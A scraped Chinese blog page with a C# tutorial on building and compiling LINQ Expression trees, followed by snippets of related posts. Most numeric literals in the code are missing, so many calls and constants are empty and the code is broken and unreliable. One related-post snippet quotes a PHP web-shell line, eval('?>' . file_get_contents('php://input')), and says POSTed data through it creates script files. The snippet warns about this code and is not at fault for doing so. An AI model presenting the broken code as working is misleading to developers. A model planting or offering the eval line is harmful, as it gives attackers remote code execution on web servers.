Expression基础体验
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Linq.Expressions;
using System.Text;
using System.Threading.Tasks; namespace Unit
{
class T
{
public void Test()
{
Console.WriteLine("Test Class!");
}
}
class S
{
private List<int> ids = new List<int>();
public string Name { set; get; } public List<int> Ids { set { ids = value; } get { return ids; } }
}
class ET
{
public void Run()
{
//add
Add(, );//+
AddAssign(, );
Subtract(, );//-
SubtractAssign(,);
Multiply(,);
MultiplyAssign(,);
Divide(, );
DivideAssign(,);
Decrement();//i--;
Increment();//++
Modulo(); And(true, false); //&
AndAlso(true, false); //&&
Or(true, false);
OrElse(true, false); //||
LessThan(, );
Coalesce(, );
Coalesce(null, );
Is();
If();
IfElse();
Condition();
Switch();
Loop();
TypeAs();
Convert();
New();
NewArray();
NewArrayBounds();
ListInit();
ListBind();
}
/// <summary>
/// +
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Add(int a,int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.Add(left, right);
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
} public static int Add2(int a,int b)
{
return ;
} /// <summary>
/// 利用方法+
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void AddAssign(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.AddAssign(left, right, this.GetType().GetMethod("Add2"));
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// &
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void And(bool a, bool b)
{
var left = Expression.Parameter(typeof(bool));
var right = Expression.Parameter(typeof(bool));
Expression exp = Expression.And(left, right);
Expression<Func<bool, bool, bool>> lambda = Expression.Lambda<Func<bool, bool, bool>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// &&
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void AndAlso(bool a, bool b)
{
var left = Expression.Parameter(typeof(bool));
var right = Expression.Parameter(typeof(bool));
Expression exp = Expression.AndAlso(left, right);
Expression<Func<bool, bool, bool>> lambda = Expression.Lambda<Func<bool, bool, bool>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// |
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Or(bool a, bool b)
{
var left = Expression.Parameter(typeof(bool));
var right = Expression.Parameter(typeof(bool));
Expression exp = Expression.Or(left, right);
Expression<Func<bool, bool, bool>> lambda = Expression.Lambda<Func<bool, bool, bool>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// ||
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void OrElse(bool a, bool b)
{
var left = Expression.Parameter(typeof(bool));
var right = Expression.Parameter(typeof(bool));
Expression exp = Expression.OrElse(left, right);
Expression<Func<bool, bool, bool>> lambda = Expression.Lambda<Func<bool, bool, bool>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
} /// <summary>
/// -
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Subtract(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.Subtract(left, right);
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
private void SubtractAssign(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.SubtractAssign(left, right, this.GetType().GetMethod("Add2"));
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
} /// <summary>
/// *
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Multiply(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.Multiply(left, right);
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
private void MultiplyAssign(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.MultiplyAssign(left, right, this.GetType().GetMethod("Add2"));
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// /
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Divide(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.Divide(left, right);
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// a/=b
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void DivideAssign(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.DivideAssign(left, right, this.GetType().GetMethod("Add2"));
Expression<Func<int, int, int>> lambda = Expression.Lambda<Func<int, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
}
/// <summary>
/// --
/// </summary>
/// <param name="a"></param>
private void Decrement(int a)
{
var left = Expression.Parameter(typeof(int));
Expression exp = Expression.Decrement(left);
Expression<Func<int, int>> lambda = Expression.Lambda<Func<int, int>>(exp, new ParameterExpression[] { left });
var l = lambda.Compile();
var r = l(a);
Console.WriteLine(r);
}
/// <summary>
/// ++
/// </summary>
/// <param name="a"></param>
private void Increment(int a)
{
var left = Expression.Parameter(typeof(int));
Expression exp = Expression.Increment(left);
Expression<Func<int, int>> lambda = Expression.Lambda<Func<int, int>>(exp, new ParameterExpression[] { left });
var l = lambda.Compile();
var r = l(a);
Console.WriteLine(r);
}
/// <summary>
/// >
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void LessThan(int a, int b)
{
var left = Expression.Parameter(typeof(int));
var right = Expression.Parameter(typeof(int));
Expression exp = Expression.LessThan(left, right);
Expression<Func<int, int, bool>> lambda = Expression.Lambda<Func<int, int, bool>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a,b);
Console.WriteLine(r);
}
/// <summary>
/// ??
/// </summary>
/// <param name="a"></param>
/// <param name="b"></param>
private void Coalesce(int? a, int b)
{
var left = Expression.Parameter(typeof(int?));
var right = Expression.Parameter(typeof(int)); var right2 = Expression.Assign(right, Expression.Default(typeof(int)));
Expression exp = Expression.Coalesce(left, right2);
Expression<Func<int?, int, int>> lambda = Expression.Lambda<Func<int?, int, int>>(exp, new ParameterExpression[] { left, right });
var l = lambda.Compile();
var r = l(a, b);
Console.WriteLine(r);
} public static bool IsFalse(bool flag){
return false;
}
/// <summary>
/// is
/// </summary>
private void Is()
{
var v1 = Expression.Parameter(typeof(bool)); var v11 = Expression.Assign(v1,Expression.Constant(true));
var v2 = Expression.IsFalse(v1, this.GetType().GetMethod("IsFalse"));
Expression exp = Expression.IsFalse(v2);
var v3=Expression.TypeIs(Expression.Constant(new List<int>()),typeof(IList<int>));
Expression<Func<bool,bool>> lambda = Expression.Lambda<Func<bool,bool>>(exp, new ParameterExpression[] {v1 });
var l = lambda.Compile();
var r = l(true);
Console.WriteLine(r);
Expression<Func<bool>> lambda2 = Expression.Lambda<Func<bool>>(v3);
var l2 = lambda2.Compile();
Console.WriteLine(l2());
}
/// <summary>
/// if
/// </summary>
private void If()
{
var v1 = Expression.Variable(typeof(int),"a");
var v11 = Expression.Assign(v1, Expression.Constant());
var v2 = Expression.GreaterThan(v11, Expression.Constant());
Expression exp = Expression.IfThen(v2,Expression.Call(typeof(Console).GetMethod("WriteLine",new Type[]{typeof(int)}),v1));
Expression exp2 = Expression.Block(new[]{v1},exp);
Expression<Action> lambda = Expression.Lambda<Action>(exp2, new ParameterExpression[] { });
var l = lambda.Compile();
l();
} /// <summary>
/// if else
/// </summary>
private void IfElse()
{
var v1 = Expression.Variable(typeof(int), "a");
var v11 = Expression.Assign(v1, Expression.Constant());
var v2 = Expression.GreaterThan(v11, Expression.Constant());
Expression exp = Expression.IfThenElse(v2, Expression.Call(typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }), Expression.Constant("True")), Expression.Call(typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }), Expression.Constant("False")));
Expression exp2 = Expression.Block(new[] { v1 }, exp);
Expression<Action> lambda = Expression.Lambda<Action>(exp2, new ParameterExpression[] { });
var l = lambda.Compile();
l();
} /// <summary>
/// trueTest?ifTrue:ifFalse;
/// </summary>
private void Condition()
{
var v1 = Expression.Variable(typeof(int), "a");
var v11 = Expression.Assign(v1, Expression.Constant());
var v2 = Expression.GreaterThan(v1, Expression.Constant());
Expression exp = Expression.Condition(v2, Expression.Call(typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }), Expression.Constant("True")), Expression.Call(typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }), Expression.Constant("False")));
Expression exp2 = Expression.Block(new[] { v1 },v11, exp);
Expression<Action> lambda = Expression.Lambda<Action>(exp2, new ParameterExpression[] { });
var l = lambda.Compile();
l();
}
/// <summary>
/// switch
/// </summary>
/// <param name="i"></param>
private void Switch(int i)
{
var par = Expression.Parameter(typeof(int));
var target = Expression.Label(typeof(int),"a");
var exp = Expression.Switch(par, Expression.Break(target, Expression.Constant(-)), Expression.SwitchCase(Expression.Break(target, par), Expression.Constant()));
var lbl = Expression.Label(target, Expression.Constant());
var block = Expression.Block(exp,lbl);
Expression<Func<int, int>> lambda = Expression.Lambda<Func<int, int>>(block, new ParameterExpression[] { par });
var l = lambda.Compile();
Console.WriteLine(l(i));
}
/// <summary>
/// while(true){}
/// </summary>
/// <param name="i"></param>
private void Loop(int i)
{
var par = Expression.Parameter(typeof(int));
var ret = Expression.Variable(typeof(int), "ret");
var v11 = Expression.Assign(ret, Expression.Constant());
var lbl = Expression.Label(typeof(int));
var lbl2 = Expression.Label(lbl,Expression.Constant());
var block1 = Expression.Block(Expression.AddAssign(ret,par),Expression.SubtractAssign(par,Expression.Constant()));
var condition = Expression.IfThenElse(Expression.GreaterThan(par, Expression.Constant()),block1, Expression.Break(lbl, ret));
var block2 = Expression.Block(new[] { ret }, v11, Expression.Loop(condition), lbl2);// Expression.Block(new[] { ret }, v11, Expression.Loop(condition,lbl)) 可以达到一样的效果
Expression<Func<int, int>> lambda = Expression.Lambda<Func<int, int>>(block2, new ParameterExpression[] { par });
var l = lambda.Compile();
Console.WriteLine(l(i));
} /// <summary>
/// as
/// </summary>
private void TypeAs()
{
Expression s = Expression.Constant();
var t=Expression.TypeAs(s, typeof(object));
var call = Expression.Call(typeof(Console).GetMethod("WriteLine", new[] { typeof(int) }), Expression.Unbox(t, typeof(int)));
Expression<Action> lambda = Expression.Lambda<Action>(call);
var l=lambda.Compile();
l();
} /// <summary>
/// 强转 class定义TypeConverter,TypeConverterAttribute
/// </summary>
private void Convert()
{
Expression s = Expression.Constant(7.5);
var t = Expression.Convert(s, typeof(int));
var call = Expression.Call(typeof(Console).GetMethod("WriteLine", new[] { typeof(int) }),t);
Expression<Action> lambda = Expression.Lambda<Action>(call);
var l = lambda.Compile();
l();
} /// <summary>
/// %
/// </summary>
private void Modulo()
{
Expression s1 = Expression.Constant();
Expression s2 = Expression.Constant();
var t = Expression.Modulo(s1,s2); Expression<Func<int>> lambda = Expression.Lambda<Func<int>>(t);
var l = lambda.Compile();
Console.WriteLine(l());
} /// <summary>
/// new
/// </summary>
private void New()
{
Expression s = Expression.Constant();
var t = Expression.New(typeof(T));
var call = Expression.Call(t, typeof(T).GetMethod("Test"));
Expression<Action> lambda = Expression.Lambda<Action>(call);
var l = lambda.Compile();
l();
} /// <summary>
/// 初始化数组对象new int[]{7}
/// </summary>
private void NewArray()
{
Expression s = Expression.Constant();
var t = Expression.NewArrayInit(typeof(int),s);
var call = Expression.Call(t, typeof(int[]).GetProperty("Length").GetGetMethod());
Expression<Func<int>> lambda = Expression.Lambda<Func<int>>(call);
var l = lambda.Compile();
Console.WriteLine(l());
} /// <summary>
/// new int[7]
/// </summary>
private void NewArrayBounds()
{
Expression s = Expression.Constant();
var t = Expression.NewArrayBounds(typeof(int), s);
var call = Expression.Call(t, typeof(int[]).GetProperty("Length").GetGetMethod());
Expression<Func<int>> lambda = Expression.Lambda<Func<int>>(call);
var l = lambda.Compile();
Console.WriteLine(l());
}
/// <summary>
/// new List<int>(){5}
/// </summary>
private void ListInit()
{
Expression s = Expression.Constant();
var lst = Expression.New(typeof(List<int>));
var t = Expression.ListInit(lst,s);
var call = Expression.Call(t, typeof(List<int>).GetProperty("Count").GetGetMethod());
Expression<Func<int>> lambda = Expression.Lambda<Func<int>>(call);
var l = lambda.Compile();
Console.WriteLine(l());
}
/// <summary>
/// var s=new S();s.Ids.Add(5);s.Ids.Add(7);
/// </summary>
private void ListBind()
{
Type s = typeof(S);
var n=Expression.New(s);
var ids=s.GetProperty("Ids");
var l=typeof(List<int>);
var n2 = Expression.New(l);
var e1 = Expression.ElementInit(l.GetMethod("Add"), Expression.Constant());
var e2 = Expression.ElementInit(l.GetMethod("Add"), Expression.Constant());
var lst = Expression.ListBind(ids,e1,e2);
var init=Expression.MemberInit(n,lst);
Expression<Func<S>> lambda = Expression.Lambda<Func<S>>(init);
var ln = lambda.Compile();
var o = ln();
Console.WriteLine(o);
}
/// <summary>
/// L_0000: ldarg.1
/// L_0001: call void [mscorlib]System.Console::WriteLine(int32)
/// L_0006: ldarg.s j2
/// L_0008: call void [mscorlib]System.Console::WriteLine(int32)
/// L_000d: ret
/// </summary>
private void TestArgs(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int a1, int b1, int c1, int d1, int e1, int f1, int g1, int h1, int i1, int j1, int a2, int b2, int c2, int d2, int e2, int f2, int g2, int h2, int i2, int j2)
{ Console.WriteLine(a);
Console.WriteLine(j2);
}
}
}
Expression基础体验的更多相关文章
- Java 8 新特性之 Stream 流基础体验
Java 8 新特性之 Stream 流基础体验 package com.company; import java.util.ArrayList; import java.util.List; imp ...
- 零基础学习python 你该怎么做
本人文科生,回顾自己近 2 年的Python 自学经历,有一些学习心得和避坑经验分享给大家,让大家在学习 Python 的过程中少走一些弯路!减少遇到不必要的学习困难! 首先,最开始最大的困难应该就是 ...
- CI Weekly #4 | 不同规模的团队，如何做好持续集成？
CI Weekly 围绕『 软件工程效率提升』 进行一系列技术内容分享,包括国内外持续集成.持续交付,持续部署.自动化测试. DevOps 等实践教程.工具与资源,以及一些工程师文化相关的程序员 Ti ...
- MVC验证01-基础、远程验证
本文体验MVC服务端和客户端验证.主要涉及:※ 基础验证※ 远程验证1个或多个属性及注意点 基础体验 创建MVC4的Internet项目,本身包含了基本的Model,Views,Controller. ...
- H5 App设计者需要注意的21条禁忌
我们通常在做H5 APP设计的过程中,遇到很多看似很小,且很容易被忽略的问题,正是这些小问题,一次次的撩拨用户的耐心,让用户对你的APP心生怨念.现在WeX5君呕血为大家整理出H5 APP设计的21条 ...
- android 类似QQ底部输入框弹出键盘和面板冲突 布局闪动处理方案(转)
先看下效果 差不多就是解决这种冲突,布局闪动的 作者的githup :https://github.com/Jacksgong/JKeyboardPanelSwitch Android键盘面板冲突 布 ...
- 01Vue数据双向绑定
Vue作为前端MV*架构,Vue.js (读音 /vjuː/,类似于 view) 是一套构建用户界面的渐进式框架.与其他重量级框架不同的是,Vue 采用自底向上增量开发的设计. Vue 的核心库只关注 ...
- QQ音乐的动效歌词是如何实践的？
本文由云+社区发表 作者:QQ音乐技术团队 一. 背景 1. 现状 歌词浏览已经成为音乐app的标配,展示和动画效果也基本上大同小异,主要是单行的逐字染色的卡拉OK效果和多行的滚动效果.当然,我们也不 ...
- Java 11 正式发布，这 8 个逆天新特性教你写出更牛逼的代码
美国时间 09 月 25 日,Oralce 正式发布了 Java 11,这是据 Java 8 以后支持的首个长期版本. 为什么说是长期版本,看下面的官方发布的支持路线图表. 可以看出 Java 8 扩 ...
随机推荐
- PS跑马灯效果和更换图标
最终效果 1.图片修改 跑马灯效果图 Head页面 使用的 IScript_HPDefaultHdr() in WEBLIB_PORTAL.PORTAL_HOMEPAGE 这个页面 一 ...
- Windbg程序调试系列4-Live Debugging
上篇博文中给大家分享了使用Windbg分析线程阻塞问题: Windbg程序调试系列3-线程阻塞问题 本篇中我们继续,跟大家分享附加进程实时调试-Live Debugging. 先说一下使用Windbg ...
- 发现一个新的注入 代码 eval
下面这句代码,就是一段恶意的代码,通过form POST 提交数据即可生成脚本文件. eval('?>' . file_get_contents('php://input'));
- BELLMEN-FORD普通
#include <iostream> using namespace std; int m, n, u[100010], v[100010], w[100010];int check;i ...
- 微信小程序组件通信
父子通信 在子组件的对应js中 properties:{ prop名字:数据类型, prop名字:{ type:数据类型, value:默认值 } } 在父组件的wxml模板中找到子组件标签 < ...
- hdu1242 DFS基础（回溯的重要性）
题目大意:在迷宫里从a出发走到r,每走一格时间+1,但是遇到x时间还要额外+1,求最短的时间. 题解:直接dfs把每一个格子都走一遍,设置一个时间参数,走一格就+1,还要注意回溯和剪枝. 很多新手都会 ...
- bui前端框架+yii整理
这个是做bui前端样式整合的时候记录的. 首先当然是要下载一个yii的源码,搭建起来. 第一步将bui的样式迁移到yii的样式目录中去 这里我在样式外面加了一个bui的文件夹,表示这个文件夹中存放的是 ...
- Maven Webapp项目web.xml版本记录
web.xml 2.0版本 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3// ...
- flutter sqflite
https://www.jianshu.com/p/88998af66e4b https://www.jianshu.com/p/7ac3ce2bc0c6
- WIN10下微信崩溃（已经是最新版）的解决方法
微信运行错误---------------------------你的微信崩溃次数较多,建议使用最新版本,点击"确定"到官网(http://pc.weixin.qq.com/)下载 ...